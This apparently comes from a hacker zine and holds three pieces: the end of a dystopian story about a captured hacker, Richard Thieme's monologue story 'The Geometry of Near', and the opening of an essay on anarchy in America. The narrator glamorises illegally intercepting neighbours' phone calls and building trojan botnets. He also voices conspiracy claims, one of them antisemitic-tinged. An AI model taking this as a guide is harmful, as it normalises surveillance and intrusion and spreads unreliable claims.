much, you grow unhappy on that bench listening to your neighbors' prattle.
It becomes irritating. MemoRacer and his kind think complexity is
exhilarating. They find differences stimulating and challenging. The Hump
doesn't think that way. Complexity is threatening to the Hump and
differences cause anxiety and discomfort. The Hump does not like anxiety
and discomfort.
      MemoRacer (his real name was George Ruben, but no one remembers that)
learned in his flipping that history was more complex than anyone knew.
That was not merely because he amassed so many facts, storing them away on
holodisc and drum as trophies to be shown to other hackers, but because he
saw the links between them. He knew how to plug and play, leverage and
link, that was his genius. Because he didn't fit, he called for revolution,
crying out that "Memories want to be free!" I guess he meant by that vague
phrase that memories had a life of their own and wanted to link up somehow
and fulfill themselves by constituting a person or a society that knew who
it was. In a society that knows who it is precisely because it has no idea
who it is, that, Mister Master Hacker, is subversive.
      Once MemoRacer issued his manifesto on behalf of historical
consciousness, he became a public enemy. We could not of course say that
his desire to restore the memory of humankind was a crime. Technically, it
wasn't. His crime was undermining the basis of transplanetary life in the
twenty first century.  His crime was disturbing the peace.
      He covered his tracks well. MemoRacer blended into so many niches so
well that each one thought he belonged. But covering your tracks ninety-
nine times isn't enough. It's the hundredth time, that one little slip,
that tells us who and where you are.
      MemoRacer grew tired and forgetful despite using more Perkup than a
waking-state addict - as we expected. The beneficial effects of Perkup
degrade over time. It was designed that way so no one could be aware
forever. That was the failsafe mechanism pharms had agreed to build in as a
back door. All we had to do was wait.
      The niche in which he slipped up was the twenty-third business
clique. This group of successful low-level managers and small manufacturers
were not particularly creative but they worked long hours and made good
money. MemoRacer forgot that their lack of interest in ideas, offbeat
thinking, was part of their psychic bedrock. Their entertainment consisted
of golf, eating, drinking, sometimes sex, then golf again. They bought
their fair share of useless goods to keep society humming along, consumed
huge quantities of resources to build amusement parks, golf courses, homes
with designer shrubs and trees. In short, they were good citizens. But they
had little interest in revolutionary ideas and George Ruben, excuse me,
MemoRacer forgot that during one critical conversation. He was tired, as I
said, and did not realize it. He had a couple of drinks at the club and
began declaiming how the entire history of the twentieth century had been
stolen from its inhabitants by masters of propaganda, PR, and the national
security state. The key details that provided context were hidden or lost,
he said.  That's how he talked at the nineteenth hole of the Twenty-Third
Club! trying to get them all stirred up about something that had happened a
century earlier. Even if it was true, who cared? They didn't. What were
they supposed to do about it? MemoRacer should have known that long delays
in disclosure neutralize even the most shocking revelations and render
outrage impotent.  People don't like being made to feel uncomfortable at
their contradictions. People have killed for less.
      One of the Twenty Third complained about his rant to the Club
Manager. He did so over a holophone. Our program, alert for anomalies,
caught it. The next day our people were at the Club, better disguised than
MemoRacer would ever be, observing protocols - i.e. saying nothing
controversial, drinking too much, and insinuating sly derogatory things
about racial and religious minorities - and learned what they needed to
know. They scraped the young man's DNA from the chair in which he had been
sitting and broadcast the pattern on the Net. Genetic markers were scooped
up routinely the next day and when he left fingerskin on a lamp-post around
which he swung in too-tired up-too-long jubilation (short-lived, I can tell
you) in the seventy-seven Computer Club niche, he was flagged. When he left
the meeting, acting like one of the geeky guys, our people were waiting.
      We do this for a living, George. We are not amateurs.
      MemoRacer taught us how to handle hackers. He wanted to live in the
past, did he? Well, that's where he was allowed to live - forever.
      Chemicals and implants worked their magic, making him incapable of
living in the present. When he tried to focus on what was right in front of
his eyes, he couldn't see it. That meant that he sounded like a blithering
idiot when he tried to speak with people who lived exclusively in the
present. MemoRacer lived in a vast tapestry of historical understanding
that he couldn't connect in any meaningful way to the present or the lived
experience of people around him.
      There is an entire niche now of apprehended hackers living in the
historical past and exchanging data but unable to relate to contemporary
niches. It's a living hell because they are immensely knowledgeable but
supremely impotent and know it. They teach seminars at community centers
which we support as evidence of our benevolence and how wrong they are to
hate us.
      You want to know about the past? By all means! There's a seminar
starting tomorrow, I say, scanning my planner.  What's your interest? What
do you want to explore? Twentieth century Chicago killers? Herbal medicine
during the Ming Dynasty? Competitive intelligence in Dotcom Days?  Pick
your poison!
      And when they leave the seminar room, vague facts tumbling over one
another in a chaotic flow to nowhere, they can't connect anything they have
heard to their lives.
      So everybody pretty much has what they want or at least what they
need, using the benchmarks we have established as the correct measures for
society. The Hump is relatively happy. The dregs skulk about as reminders
of a mythic history we have invented that everyone fears. People perceive
and conceive of things in helpful and useful ways and act accordingly. And
when we uplink to nets around all the planets and orbiting colonies,
calling the roll on every niche in the known universe, it always comes out
right. Everybody is present. Everybody is always present.
      Just the way we like it.

                                #  #  #  #  #


                          The Geometry of Near


                            Richard Thieme

      It's nobody's fault. Honest. It's just how it is.
      The future came earlier than expected. They kicked it around for
years but never knew what they had. By the time they realized what it was,
it was already broken. Broken open, I should say. Even then, looking at the
pieces of the egg and wondering where the bird had flown, they didn't know
how to say what it was. The words they might have used had broken too.
      Now it's too late. The future is past.
      It was too far. They can't see far. They can only see near.
      Me and my friends, we see far, but we see near, too. It's linking
near and far in fractal spirals that makes a multi-dimensional parallax
view, providing perspective. It's not that we have better brains than our
Moms and Pops, but hey, we were created in the image of the net and we know
it. They live it, everybody has to live it now, but they still don't know
      Look at my Mom and Pop on a Thursday night in the family room. You'll
see what I mean.
      They are sitting in front of the big screen digital television set
watching a sitcom. The program is "Friends." Mom calls the six kids, the
six young people excuse me, "our friends." They've been watching the show
for years and know the characters better than any of the neighbors. The
only reason they know the neighbors at all is because I programmed a
scanner to pick up their calls. At first they said, how terrible, don't you
do that. Then they said, what did she say? Did she really say that? Then
they left it on, listening to cell calls from all over the city, drug deals
("I'm at the ATM, come get your stuff"), sex chat ("I'm sitting at your
desk, my feet on the edge, touching myself"), trivia mostly, and once in a
while the life of a house down the street broadcasting itself through a
baby monitor.
      The way they reacted to that, the discovery that walls aren't walls
anymore, reminded me of a night when I told some kids it was time to feed a
live mouse to Kurtz, my boa constrictor. Oh, how horrible! they cried. Oh,
I can't watch! Then they lined up at the tank, setting up folding chairs to
be sure they could see the mouse trembling, the sudden strike, the big
squeeze. They gaped as the hingeless jaw dropped and Kurtz swallowed the
dead mouse. They waited for the tip of its tail to disappear into his mouth
before getting up saying yuuuchhh! That's gross!
      People in the neighborhood only became real to Mom and Pop when I
made them digital, don't you see, when I put them on reality radio. Only
when I turned the neighbors into sitcom characters did Mom and Pop have a
clue. When they hacked the system in other words.
      That's what hacking is, see. It's not hunching over your glowing
monitor in your bedroom at three in the morning cackling like Beavus or
Butthead while you break into a bank account - although sometimes it is
that too - it's more of a trip into the tunnels into the sewers into the
walls where the wires run and the pipes and you can see how things work.
It's hitting a wall and figuring out how to move through it. How to become
invisible, how to use magic. How to cut the knot, solve the puzzle, move to
the next level of the game. It's seeing how shit we dump relates to people
who think they don't dump shit and live as if. It's seeing how it all fits
      "Our friends." Said as if she means it. I mean, is that pathetic or
      The theme music is too loud as they sink down in overstuffed chairs
and turn the volume even higher with a remote I had to program so they
could use it. Their lives seldom deviate more than a few inches from the
family room. Put the point of a compass down on the set and you can draw a
little circle that circumscribes their lives. Everything they know is
inside that circle. Two dimensions, flat on its back.
      The geometry of near.
      Those are my friends, Mom says with a laugh for the umpteenth time.
The commercial dissolves and expectations settle onto the family room like
the rustling wings of twilight. The acting is always overdone, they mug and
posture too much, the laugh tracks are too loud. The characters say three,
maybe four hundred words in half an hour, barely enough to hand in to an
English teacher on a theme, but more than enough to build a tiny world like
a doll's house inside a million heads. Those scripted words and intentional
gestures sketch out the walls of houses, the edges of suburban lots, the
city limits of their lives, all inside their heads. Hypnotized, they stare
at the screen for hours, downloading near vistas, thinking they have a
      In family rooms all over the world, drapes closed and lights low,
people sit there scratching while they watch, most eat or drink something,
and some masturbate. Some get off on Rachel, some Monica. Gays like Joey.
Bloat-fetishists go for Chandler. I don't know who gets off on Ross. I do
know, though, that all over the world there are rooms smelling of pizza,
beer and semen. Some clean up the food they spill before the show is over
and some leave it. Some come into a napkin and ball it up and put it on a
table until a commercial but some take it straight to the garbage and wash
their hands on the way back. Funny. They beat off to a fantasy character as
sketchy as a cartoon but wash their hands before coming back from the
commercial. After sitting there for all those hours, they ought to wash out
their souls with soap, not their hands.
      Everybody masturbates, actually. That's what it means to watch these
shows. People get off on a fantasy and pretend the emptiness fills them up
so they do it again. And again.
      Who writes these scripts, anyway? People who have lost their souls,
obviously. These people have no self. They put it down somewhere then
forgot where they put it. They are seriously diminished humans.
      But hey, this is not a rant about people who sell their souls. That's
true of everybody who lives in a world of simulations and doesn't know it.
Those who know it are masters, their hands on the switches that control the
flow of energy and information. Those gates create or negate meaning,
modify or deny. Me and my friends we control the flow. The difference is
all in the knowing and knowing how.
      But that's not what we were fighting about. We were fighting about
real things.
      I just read an army paper some colonel wrote critiquing the army for
thinking backwards. Thinking hierarchically, he said, thinking in terms of
mechanistic warfare. The writer self-styling himself a modern insightful
thinker, Net-man, an apostle of netcentric warfare, a disciple of the
      It's always colonels, right? trying to get noticed. The wisdom of the
seminar room. Talk about masturbation. They write for the same journals
they read, it's one big circle jerk. They never call each other on their
shit,  that's the deal, not on the real stuff, but they can't fool us all
the time. Just some of the people some.
      It's funny, see, the colonel talks about hierarchies and nets but
this guy's obviously Hierarchy Man, he lives in a pyramid, he can't help
it. He has the fervor of a convert who suddenly saw the blinding light, saw
that he had been living in the near, but all he can do is add on, not
transform.  An extra bedroom, a new bathroom, is not a new floorplan. The
guy is excited, sure, he had a vision that blew his mind, but he thought
that meant he could live there and he can't. Seeing may be believing but
that's about all. The future is past, like I said.  The evidence is guys
like that writing stuff like that. Those of us who have lived here all of
our lives, who never lived anywhere else, we can see that. He's a mummy
inside a pyramid looking out through a chink in a sealed tomb. That's why
we laugh, because he can't see himself trailing bandages through the dusty
corridors. New converts always look funny to people who live on the distant
shore where they just arrived, shipwrecked sailors ecstatic to feel the
sand under their feet. They think it's bedrock but it's quicksand..
      Here's an example. Go downstairs and go into the kitchen where
another television set records the President's speech. (I had to show them
how to do that too.)
      When we watch it together later, I point out that it's not really the
president, not really a person, it's only an image in pixels, a digital
head speeching in that strange jerky way he has so when you try to connect,
you can't. You think you get the beat but then there's a pause, then a
quick beat makes you stumble trying to synchronize. It's how his brain
misfires, I think. I think he did that doing drugs, maybe drinking. He was
in and out of rehab and who the hell knows what he did to himself. Of
course the Clintons did coke and all kinds of shit. Anyway he is talking to
people who are eating and drinking and masturbating, not even knowing it,
hands alive and mobile in their pockets, getting off on his projected power
and authority. He talks about "our country" and I laugh. Pop shoots me a
glare because he doesn't have a clue. Pop thinks he lives in a country.
Because the prez keeps saying "our country" and "this nation" and shit like
that. But countries are over. Countries ended long ago. This president or
his dad made money from oil or wherever else they put money to make money.
Millions of it, more than enough to keep the whole family in office for
generations. They have this veneer of patricians but their hands are
dripping with blood. His grand-dad too, look it up. They taught evil people
how to torture, kill, terrorize, but they wear this patrician veneer and
drip with self- righteousness, always talking about religion. It is so
dishonorable. Yet this semi-literate lamer, this poser, we honor, his
father the chief of the secret police, his brother running his own state,
this brain-damaged man who can't connect with himself or anyone else, his
words spastic like bad animation out of synch with that smug smirk, this
man we honor? Give me a fucking break.
      Anyway, he isn't really there, it's all pixels, that's the point. The
same people who made "Friends" and made that mythical neighborhood bar and
made that mythical house on the mythical prairie created him too out of
whole cloth. So people sit there and scratch, eat drink and masturbate,
getting off on the unseen artifice of it all. And these people they have
made, these people who project power, they all have their own armies, see,
they have their own security forces, their own intelligence networks. They
have to because countries ended and they realized that those who are like
countries, forgive me, like countries used to be, now must act like
countries used to act.  They have their own banks and they even have their
own simulated countries. Some Arabs bought Afghanistan, the Russian mafia
bought Sierra Leone, they own Israel too, can I say that without being
called an anti-Semite? These people in their clouds of power allow
countries to pretend to exist and download simulations of countries into
the heads of masturbating scratchers because it works better to have
zombies. So people who think they live in countries can relate to what they
think are countries inside their heads. Zombies thinking they are "citizens
of countries" because they can't think anything else, because they live
inside the walls of the doll's house in their heads. "I am a citizen of
this country," says the zombie, feeling safe and snug inside a non-existent
house in the non-space of his programmed brain. All right then, where is
it? The zombie says here, there, pointing to the air like grandma after
surgery pointed to hallucinations, telling them to get her a glass of
water, telling them to sit down and stop making her nervous. It's all
dribble-glass stuff, zombies in Newtonian space that ended long ago; they
stare through the glass at the quantum cloud-cuckoo land the rest of us
live in, calling it the future. Mistaking space for time the way that
colonel inside his pyramid thinks he's net-man.
      People who live in clouds of power live behind tall walls, taller
than you can imagine. We never really see what's behind those walls.
Zombies never climb those walls because of the private armies. Their
"security forces" would have a zombie locked up in a heartbeat if he tried.

      On the network when we take over thousands of machines and load
trojans letting them sit there until we are ready to use them in a massive
attack, we call them zombies. The zombies are unaware what is happening to
them. We bring them to life and they rise from their graves and march.
Those are our clouds of power, tit for tat. Mastering the masters.
      Meanwhile Moms and Pops sit in their chairs not knowing that trojans
are being downloaded into their brains. The code is elegant, tight, fast.
Between the medium in which the code is embedded and the television or
network that turns it into illusions of real people, real situations, the
sleight of hand is so elegant, enticing bird-like Moms and Pops into
digital cages. The when they move the cages, the birds move too. They give
the birds enough room to flap their wings so they think they're free.
      This is what it looks like.
      Jerome K. Dumbass, say,  a zombie with one third of a clue, decides
to eliminate a CEO who made him lose his house, his job, all his stock
options. The buyer did not know how to beware any more than zombies know
how to avoid the download. The guy was sucked into the force field of greed
while the CEO stashed his loot in a house he could keep. Pays the people to
make laws to let him keep a huge house that no one can take even after his
term in a country club. Dumbass wants to kill the CEO which is entirely
understandable. So he climbs the wall and drops down onto the other side,
twisting his ankle.
      The circuit breaks the minute he touches the wall, cameras swing into
action, pick him up before he can say "Ow!" Dogs bark and come closer,
baying and barking. Camera zooms. A close-up shows his face twisted with
pain. Then fear. Dumbass drags his game leg after him, dogs bay and bark
closer, louder now. Jeezus! his stupid face says as he hobbles through
flowers and shrubs some of them cameras some of them alarms into the arms
of waiting goons. The goons are bigger than pro tackles - excuse me, I'm
explaining one simulation in terms of another. How foolish is that? But
that's what we do, use words to explain words, simulations explaining same.
You don't know a single linebacker do you? But you think of them as your
friends, too, don't you? Anyway, a thug grabs Dumbass by the belt, twisting
his belt and pants in his hand, his other hand crimping the back of his
neck like a robot's claw. Dumbass cries out but there's no one to hear.
Everyone is busy scratching and eating and drinking and masturbating to the
dreamtime rhythm of the night.
      They drag him into a room behind the cabanas along the landscaped
pools and Jacuzzis. It's dark in there. They throw him against the wall and
he bounces off and lies in the scatter and dirt. Looks up and sees a boot
coming. That's that. Out he goes.
      He comes around in a minute, dizzy, in pain, blood from his broken
nose on his shirt. Whomp! The goon's hand slaps him, then backhands him,
winds up for a forehand and whacks him back to center. "Stop!" he screams
but instead the thug just whacks him back and forth like a bobblehead,
wanting him to understand the foolishness of his indiscretion, don't you
see. Imposing power on the dumbass on behalf of his master. So Dumbass can
internalize the experience, feel utterly powerless, spread the word. Tell
your buddies that you do not climb - whack! - that - whack! - wall.
      Somewhere in his twinkie brain it dawns on him that no one knows he
is here. Sure, they call the "real" cops after a while, but these guys are
real enough, mugging him in the toolshed. No one knows he is here and
wouldn't care if they did. The so-called news shows handle that, turning
Dumbass into the Other. Everybody cheers as they beat his brains out. Then
the "real" police come and take over, beating him up in the van on the way
to the station, having fun as long as the ride takes, bouncing him off the
      Now, this is my point: the armies that this man has, this man whose
face you have not even seen, you never do see, you only see manifestations
of clouds of power, this man's armies are created in the image of the net.
Once we no longer had countries but only the pretense of countries, those
who inhabited clouds of power took the game to the next level. These armies
are simply not seen. They are hidden in the faux shrubs designed to
distract us. When boundaries dissolved, clouds of power emerged all over
the world. They are accountable only to themselves, i.e. not. Clouds are
not countries, clouds are water vapor condensing, as visible and
insubstantial as mist. We too are mist but we believe in our shapes as they
change. The clouds in a way are not there, really. Except they are. But try
to tell that to a zombie, tell them they live in a cloud and see what they
      Now take this entire scenario and blow it up. Imagine a country with
borders drawn in black. Then imagine a mouth blowing a pink bubble and the
bubble bursting obliterating borders and then there's a pink cloud instead
of the little wooden shapes of states or countries they used to play with
when they were kids. Bubblegum splatters all over the world creating cloud-
places that have no names. They are place markers until names are invented.
These are the shapes kids play with now, internalizing the difference.
      Try telling that to zombies, though. They sit there listening as
sitcoms and so-called reality shows and faux news put them into a deep
sleep. Images of unreality filter into their brains and define their lives.
Tiny images, seen near, seem big. Seem almost lifelike. Inside these
miniature worlds, Moms and Pops believe they are far-seeing, thinking they
think. Because they are told that near is far and little is big and so it
      Back to the example. Dumbass is done getting beaten up in the shed
behind the bougainvillea and hibiscus. Let's press that a little. That's
what neighborhoods have become, whole used-to-be-called countries. That's
what societies have become, entire civilizations. Do you see, now? The map
in your head is a game board intended to replace reality, not a meaningful
map, it gives you manageable borders within which you watch and act in the
sitcom of your life, playing a role in a script written for other purposes
      That's why when you open your mouth, one of those times you wake up
long enough to talk about something you think is real, anyone who has a
clue laughs. It isn't personal, but it can't be helped. People who have a
clue laugh. We try to suppress it but a little titter becomes a giggle and
then a blast that explodes before you finish your first sentence.
      That's what the fight was about. It wasn't personal.
      See we see how silly it is, the way you think, what you think is
real. The only difference between our seeming rudeness and the compassion
of Buddhists who also see clearly is that somehow compassion did not
download from the net but the seeing did. We see what's so but without much
feeling. Certainly without much empathy. If we have too much empathy, it
sucks us in and then we're sunk. Besides, you're zombies. Zombies are not
real human beings. In the scripts they have written you do the same things
over and over again like a Marx Brothers movie. The script is boring and
predictable. That's how it manages so many people so well but that's also
what we think is funny. When you play out your roles without even knowing
it, naturally, we laugh.
      It's not personal! Honest!

      When I was twelve I ran a line out to the telephone cable behind the
house. I listened to the neighbors talk mostly about nothing until the
telephone company and a cop dropped by. I pleaded stupidity and youth and
Pop gave me a talk and I nodded and said yeah, right, never again. Those
were the good old days when hacking and phreaking were novelties and
penalties for kids were a slap on the wrist.
      My favorite telephone sitcom was "The Chiropractor's Wife." That
woman she lived around the corner and lowered the narrowness bar beyond
belief. You see her on the street with her kids or walking that damned huge
dog of theirs, you wouldn't know it. She looked normal. On good days she
looked good even with her blonde hair down on her shoulders, smiling hello.
Still, she raised oblivious to the level of an art form.
      I guess she was terrified. Her life consisted of barely coping with
two kids who were four and six I think and serving on a committee or two at
school like for making decorations for a Halloween party. Other than that,
near as I could tell, she talked to her mother and made dinner for the
pseudo-doc. Talked to her mother every day, sometimes for hours.
      The conversation was often interrupted by long pauses. Well, the wife
would say. Then her mother would say, well. Then there might be silence for
twenty seconds. I am not exaggerating, I clocked it. Twenty-four seconds
was their personal best. That might not sound like much but in a telephone
conversation, it's eternity. Then they would go back over the same
territory. They were like prisoners walking back and forth in a shared
cell, saying the same things over and over. I guess it was mostly the need
to talk no matter what, drawing the same circles on a little pad of paper.
I imagined the wife making those circles on a doodle pad in different
colors and that's when I realized that people around me lived by a
different geometry entirely. How the landscape looks is determined by how
you measure distance. How far to the horizon. That's when I began to invent
theorems for a geometry of near.
      Here in Wolf Cove there is the absolute silence of shuttered life.
The only noise we hear is traffic from the freeway far over the trees. We
have lots of trees, ravines, some little lakes. That's what it is, trees
and ravines and houses among the trees. That sound of distant traffic is
like holding a seashell up to your ear. It's the closest we come to having
an ocean. No one can park on the street so a car that parks is suspect. The
cops know everyone by sight so anyone different is stopped. The point I am
making is, Wolf Cove encloses trees and lakes and houses with gates of
silence, making it seem safe, but in fact it has the opposite effect.  It
creates fear that is bone deep. It's like a gated community with real iron
gates and a rent-a-cop. It makes people inside afraid of what's outside so
no one wants to leave. It's like we built an electric fence like the kinds
that keep dogs inside except we're the dogs.
      One day there was a carjacking at a mall ten miles away. Two guys did
it who looked like someone called central casting and said hey, send us a
couple of mean-looking carjacker types. They held a gun on a gray lady
driving a Lexus and left her hysterical in the parking lot. I knew the
telephone sitcom was bound to be good so I listened in on the wife and her
hold-me mother.
      They talked for more than two hours, the wife saying how afraid she
was she wouldn't get decorations done for the Halloween party at the
school. She almost cried a couple of times, she was that close to breaking,
just taking care of a couple of kids and making streamers and a pumpkin
pie. But every now and again she said how afraid she was they'd take her
SUV at gunpoint next time she went shopping. The television had done its
job of keeping her frightened, downloading images of terrified victims
morning noon and night. Fear makes people manageable.
      Finally the wife said, maybe we ought to move. I couldn't believe my
ears. I mean, she lived in Wolf Cove inside an electric fence, so where the
hell would she go? Her fears loomed in shadows on the screen of the world
like ghosts and ghouls at that Halloween party. Everywhere she looked, she
saw danger. Wherever there was a door instead of a wall, she felt a draft,
an icy chill, imagining it opening. She got out of bed and checked the
locks when everyone else was asleep. Once she had to go get something on
the other side of town and you would have thought she was going to the
moon. She went over the route on a map with her mother. Did she turn here?
Or here? She had a cell phone fully charged - she checked it twice - and a
full tank of gas, just in case. Just in case of what? So I wasn't surprised
when she said after the carjack that maybe they ought to move to Port
Harbor, ten miles north. Then her mother said, well. Then the wife said
well and then there was silence. I think I held my breath, sitting in my
bedroom listening through headphones. Then her mother said, well, you would
still have to shop somewhere.
      Oh, the wife said. I hadn't thought of that.
      The geometry of near.
      So many people live inside those little circles, more here than most
places. I live on the net, I live online, I live out there. I keep the
bedroom door shut but the mindspace I inhabit is the whole world.
      When I was eleven I found channels where I learned so much just
listening. I kept my mouth shut until I knew who was who, who was a lamer
shooting off his mouth and who had a clue. Then somebody asked a question I
knew and I answered politely and they let me in. I wasn't a lurker any
longer, but I took it easy, asking questions but not too many. I stayed up
late at Border's and other midnight bookstores, aisles cluttered with open
O'Reilly books, figuring out what I could before I asked. You have to do
the homework and you have to show respect. Once they let me in,  I helped
guys on rungs below. I was pretty good at certain systems, certain kinds of
PBX, and posted voice mail trophies that were a hoot. Some came from huge
companies that couldn't secure their ass with a cork. The clips gave the
lie to their PR, showing what bullshit it was. So everybody on the channel
knew but had the good sense not to say, not let anybody know. That would be
like leaning over a banister and asking the Feds to fuck us please in the
      So I learned how to live on the grid. I mapped it inside my head,
constantly recreating images of the flows, shadows in my brain creating a
shadow self at the same time. The shadow self became my self except I could
see it and knew how to use it.
      It wasn't hacking the little systems, don't you see, the boxes or the
telephones, it was the Big System with a capital B and a capital S. Hacking
a system means hacking the mind that makes it. It's not just code, it's the
coder. The code is a shadow of the coder's mind. That's what you're
hacking. You see how code relates to the coder, shit, you understand
      Anyway, Mom and Pop were talking one night and Mom said she had seen
the Bradley's out on their patio. They were staring down at the old bricks,
thinking about redoing it.  It meant rearranging shrubs and maybe putting
it some flowers and ground cover. It sounded like big deal, the way they
talked about it, making this little change sound like the Russian
Revolution.  It was like the time the Adams built a breakfast nook, you
would have thought they had terraformed a planet.
      So Mom said to Virginia Bradley, how long have you been in this house
now? as long as we have? Oh no, Virginia said. We've been here thirteen
years. Oh, Mom said  We've been fifteen. But then, Virginia said, we only
moved from a block away. Mom said, Oh? I didn't know that. Virginia said,
yes, we lived in that little white house on the corner the one with the
green shutters for seventeen years. Mom said,  I didn't know that. Not only
that, Virgina said with a little laugh, but Rick, that was her husband,
Rick grew up around the corner. You know that ranch where his mother lives?
Mom said, the one where the sign says Bradley? I didn't realize (only
neighbors thirteen years) that was his mother. Yes, he grew up in that
house, then when we got married we moved to the white house with the green
shutters and thirteen years ago when Stonesifers moved to the lakes then we
moved here.
      The heart enclosed in apprehension becomes so frightened of its own
journey, of knowing itself, that it draws the spiral more and more tightly,
fencing itself in. Eventually the maze leads nowhere. This village with its
winding lanes and gas lamps for all its faux charm was designed by a
peasant culture afraid of strangers, afraid of change, a half-human heart
with its own unique geometry.
      Yep, you guessed it. The geometry of near.

      Hypnosis does an effective job of Disneylanding the loneliness of
people who live near. Sometimes that loneliness leaks out into their lives
and that, really, was what the fighting was about.
      Some business group asked Pop to give a dinner speech. They asked him
over a year ago, so he had it on the calendar all that time. He really
looked forward to it, we could tell by the time he spent getting ready. He
even practiced his delivery. They told Pop to expect a few hundred people
but when he showed up with all his slides, there were only twenty-three.
      I am so sorry, said Merriwether Prattleblather or whoever asked him
to speak. It never occurred to any of us when we scheduled your talk that
this would be of all things the last episode of Jerry Seinfeld.
      Pop got a bit of a clue that night. He was pretty dejected but he
knew why. These are people, he said, who have known each other for years.
This meeting is an opportunity to spend time with real friends. But they
preferred to spend the night with people who are not only not real, but
don't even make sense or connect to anything real. They would rather
passively download digital images, he said, using my language without
realizing it, than interact with real human beings.
      So Pop had half a clue and I got excited, that doesn't happen every
night, so I jumped in, wanting to rip to the next level and show how it all
connects from Walter Lippmann to Eddie Bernays to Joseph Goebells, news PR
and propaganda one and the same. That got Pop angry. It undermined that
doll's house in his head, I can see now. The walls would collapse if he
looked so he can't look. Besides, he had to put his frustration somewhere
and I was safe. Naturally I became quite incensed at the intensity of his
commitment to being clueless. Christ, Pop, I shouted, they stole your
history. You haven't got a clue because everything real was hidden. Some of
the nodes are real but the way they relate is disguised in lies. He shouts
back that I don't know what I'm talking about. The second world war was
real, he says, hitting the table, not knowing how nuts he looks. Oh yeah?
Then what about Enigma? Before they disclosed it, you thought totally
differently about everything in that war. You had to, Pop! Context is
content and that's what they hide, making everything look different. It's
all in the points of reference. They've done that with everything for fifty
years. It's like multispectral camouflage that I read about in space, fake
platforms intended to look real. Nothing gets through, nothing bounces
back. You live in a hall or more like a hologram of mirrors, Pop, can't you
see that?
      We both kept shouting and sooner or later I figured fuck it and went
to my room which is fine with me because I would rather live in the real
world than the Night of the Living Dead down there.
      I know why Pop can't let himself know. I understand. Particularly at
his age, you can't face the emptiness of it all unless you know how to fill
it again, preferably with something real. Knowing you know how to do that
makes it bearable like looking at snakes on Medusa's head in a mirror.  It
keeps you from turning to stone.
      Me and my friends we don't want to turn to stone ever. Not ever.
Maybe it's all infinite regress inside our heads, nobody knows. But playing
the game at least keeps you flexible. It's like yoga for the soul.

      When do I like it best? That's easy. Four in the morning. I love it
then. There's this painting by Rousseau of a lion and a gypsy and the world
asleep in a frieze that never wakes up. That's what it feels like, four in
the morning, online. The illusory world is asleep, shut up like a clam, I
turn on the computer and the fan turns into white noise. The noise is the
sound of the sea against the seawall of our lives. The monitor flickers
alight like a window opening and I climb through.
      It's all in the symbols, see, managing the symbols. That makes the
difference between half an illusion and a whole one. Do you use them or do
they use you? If they use you, do you know it, do you see it, and do you
use them back? Who's in charge here? Are you constantly taking back control
from symbols that would sweep you up in a flood? Are you conscious of how
you collude because brains are built to collude so you know and know that
you know and can take back power? Then you have a chance, see, even if the
hall of mirrors never shows a real reflection. Then we have a chance to get
to the next level of the game if only that and that does seem to be the
      Me and my friends we prefer the geometry of far. This bedroom is a
node in a network trans-planetary or trans-lunar at any rate, an
intersection of lines in a grid that we navigate at lightspeed. This is
soul-work, this symbol-manipulating machinery fused with our souls, we live
cyborg style, wired to each other. The information we exchange is energy
bootstrapping itself to a higher level of abstraction.
      Some nights you drop down into this incredible place and disappear.
Something happens. I don't know how to describe it. It's like you drop down
into this place where most of your life is lived except most of the time
you don't notice. This time, somehow you go there and know it. Instead of
thinking leaning forward from the top of your head its like lines of
electromagnetic energy showing iron filings radiating out from the base of
your skull. Information comes and goes from the base of your brain, goes in
all directions. Time dilates and you use a different set of points of
reference, near and far at the same time.
      It's a matter of wanting to go, I think, then going. Otherwise you
turn into the chiropractor's wife. I want to see up close the difference
that makes the difference but once I go there, "I" dissolves like countries
disappeared and whatever is left inhabits clouds of power that have no
names. It's better than sex, yes, better.
      So anyway, the point is, yes, I was laughing but not at him, exactly.
You can tell him that. It was nothing personal. It just looked so funny
watching someone express the truth that they didn't know. The truth of a
future they'll never inhabit. It's like his mind was bouncing off a wall,
you see what I mean? So I apologize, okay? You can tell him that. I
understand what it must be like, coming to the end of your life and
realizing how it's all been deception. When it's too late to do anything
about it.
      Now if it's all right with you, I just want a few minutes with my
friends. I just want to go where we don't need to be always explaining
everything, where everybody understands.
      Okay? And would you mind closing the door, please, as you leave?

                                #  #  #  #  #

                The Feasibility of Anarchy in America


                   Anthony <>

"This country, with its institutions, belongs to the people who inhabit it.
Whenever they shall grow weary of the existing Government, they can exercise
their constitutional right of amending it, or their revolutionary right to
dismember or overthrow it." -- Abraham Lincoln

 The concept of anarchy in its most general and well-known form espouses a
view of removing a given governing body or hierarchy.  The very word,
"Anarchy," is derived from the Greek word "Anarkhos," which means, "Without
a ruler."  In effect, it is a view shared by those who believe that
centralized governments or hierarchies of power and authority tend to
corrupt those at the upper-levels.  It is also a common sentiment that those
power-drunken rulers at the height of the hierarchy come to abuse their
power and use their newly found authority for their own, whimsical purposes
to the detriment of the lower members of the organization or society over
which it rules.  This belief is far from new, and dates back probably as far
as political philosophy has existed.  Within the United States, the
philosophy gained general acceptance within a few select groups during the
1960's and 1970's, and was forwarded with the rise of the "Anarchist
Cookbook," in which instructions for bomb-making, guerilla warfare, and the
like are expounded upon in rather brief detail.  With the rise of the
Internet, many groups favoring the free exchange of any and all information,
as well as the destruction of any sort of proprietary and restrictive model
for software development and the like, the philosophy of Anarchism has
become quite widespread and supported in a variety of forms.  Aside from the
desire to see corrupt regimes fail and the Orwellian laws and measures
become obsolete, however, we must ask ourselves: In America, is the concept
of Anarchy realistically viable?

 It is evident to most that the majority of citizens of the United States do
not view laws as anything other than rules enforced by the current regime;
therefore, to them, if the regime fails for whatever reason, there are no
laws by which to abide.  For instance, we can see that during even minor
disruptions, such as blackouts, citizens run rampant causing damage and
stealing goods from other businesses.  They do not connect to the greater
picture, and they do not realize that, by depriving others of these goods,
they do nothing but bring greater harm upon the whole of society, which
includes them as well.  Even with the government still active, we see a
variety of crimes committed each day, some of the most serious being rape,
murder, and theft.  The most important question we must ask is that, if the
citizens are unable to conduct themselves for the greater good and for the
welfare of society, then how may they be trusted to conduct themselves
properly without a governmental body enforcing its laws by threats of
incarceration or death?  However it has occurred, it is irrelevant: the
majority of US citizens are entirely dependent upon the government and the
services that it provides.  It is also obvious that, without a central
governing body, they could not rightfully conduct themselves responsibly so
that they would need no rulers or administrators above them ensuring that
civil order persists.  Because of their attitude of self-centered egoism and
the fulfillment of their hedonistic desires, it is very improbable that they
could retain the proper attitude to make anarchy a possible way of life.
 Another problem relating to the lack of a proper, self-reliant attitude is
the fact that most Americans are conditioned to a rather wealthy and
comfortable lifestyle.  They have the pleasure of relative political and
military security; comfortable homes; televisions and other frivolous
